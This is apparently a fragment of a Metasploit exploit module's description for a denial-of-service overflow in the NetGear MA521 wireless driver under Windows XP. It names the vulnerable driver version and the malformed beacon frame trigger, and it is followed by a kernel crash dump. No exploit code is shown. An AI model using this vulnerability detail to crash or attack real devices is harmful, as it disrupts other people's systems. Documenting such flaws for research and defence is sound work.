'Name' => 'NetGear MA521 Wireless Driver Long Rates Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in the NetGear MA521 wireless device
|
|
driver under Windows XP. When a specific malformed frame (beacon or probe response)
|
|
is received by the wireless interface under active scanning mode, the MA521nd5.SYS
|
|
driver attempts to write to an attacker-controlled memory location. The vulnerability
|
|
is triggered by an invalid supported rates information element.
|
|
|
|
This DoS was tested with version 5.148.724.2003 of the MA521nd5.SYS driver and a
|
|
NetGear MA521 Cardbus adapter. A remote code execution module is also in development.
|
|
|
|
This module depends on the Lorcon2 library and only works on the Linux platform
|
|
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
|
(external/ruby-lorcon/README) for more information.

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
|
|
An attempt was made to access a pageable (or completely invalid) address at an
|
|
interrupt request level (IRQL) that is too high. This is usually
|
|
caused by drivers using improper addresses.
|
|
If kernel debugger is available get stack backtrace.
|
|
Arguments:
|
|
Arg1: 41414141, memory referenced
|
|
Arg2: 00000002, IRQL
|
|
Arg3: 00000000, value 0 = read operation, 1 = write operation
|
|
Arg4: aa1ec75a, address which referenced memory
